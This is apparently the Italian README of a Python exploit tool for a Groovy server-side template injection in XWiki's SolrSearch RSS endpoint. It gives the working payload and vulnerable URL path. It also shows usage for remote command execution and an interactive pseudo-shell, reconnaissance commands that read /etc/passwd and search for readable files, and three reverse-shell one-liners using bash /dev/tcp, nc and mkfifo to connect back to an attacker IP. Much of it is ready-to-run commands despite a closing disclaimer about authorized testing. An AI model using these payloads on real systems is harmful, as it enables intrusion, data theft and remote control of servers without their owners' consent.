Exploit SSTI per XWiki

Un exploit Python per la vulnerabilità di Server-Side Template Injection (SSTI) di XWiki tramite iniezione di template Groovy nell'endpoint SolrSearch.

Vulnerabilità

• Tipo: Server-Side Template Injection (SSTI)
• Componente: feed RSS SolrSearch di XWiki
• Impatto: Esecuzione Remota di Codice
• Versione interessata: XWiki 15.10.8 (e potenzialmente altre)

Requisiti

pip3 install requests beautifulsoup4

Utilizzo

Verifica della vulnerabilità

./xwiki_exploit.py -u http://target --test

Esecuzione di un singolo comando

./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"

Shell interattiva

./xwiki_exploit.py -u http://target.com

Questo ti fornirà una pseudo-shell interattiva in cui puoi eseguire comandi:

xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit

Modalità debug

./xwiki_exploit.py -u http://target.com -c "id" --debug

Opzioni da riga di comando

• -u, --url URL: URL del target (obbligatorio)
• -c, --command CMD: Esegue un singolo comando
• --test: Verifica se il target è vulnerabile
• --no-verify-ssl: Disabilita la verifica del certificato SSL
• --debug: Abilita l'output di debug

Esempi

Raccolta di informazioni:

./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"

Trova file interessanti:

./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"

Informazioni di rete:

./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"

Avvia una reverse shell:

# On attacker machine, start listener:
nc -lvnp 1337

# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"

Dettagli tecnici

Struttura del payload

L'exploit utilizza la seguente struttura del payload SSTI:

}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}

Flusso di sfruttamento

1. Il payload viene codificato in URL e inviato all'endpoint vulnerabile:

   root@kitploit:~

   /xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
   

2. Il server elabora il template Groovy ed esegue il comando

3. L'output viene catturato dalla risposta del feed RSS nel formato:

   root@kitploit:~

   search on [}}OUTPUT]
   

4. L'exploit analizza la risposta HTML per estrarre l'output del comando

Note

• I comandi vengono eseguiti come utente xwiki (uid=997)
• La directory di lavoro è /usr/lib/xwiki-jetty
• Alcuni comandi potrebbero non produrre output se falliscono o vengono eseguiti in background
• Per comandi complessi, considera l'uso di script shell o codifica base64

Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e di penetration testing autorizzato. Usalo solo su sistemi per cui hai il permesso di effettuare test.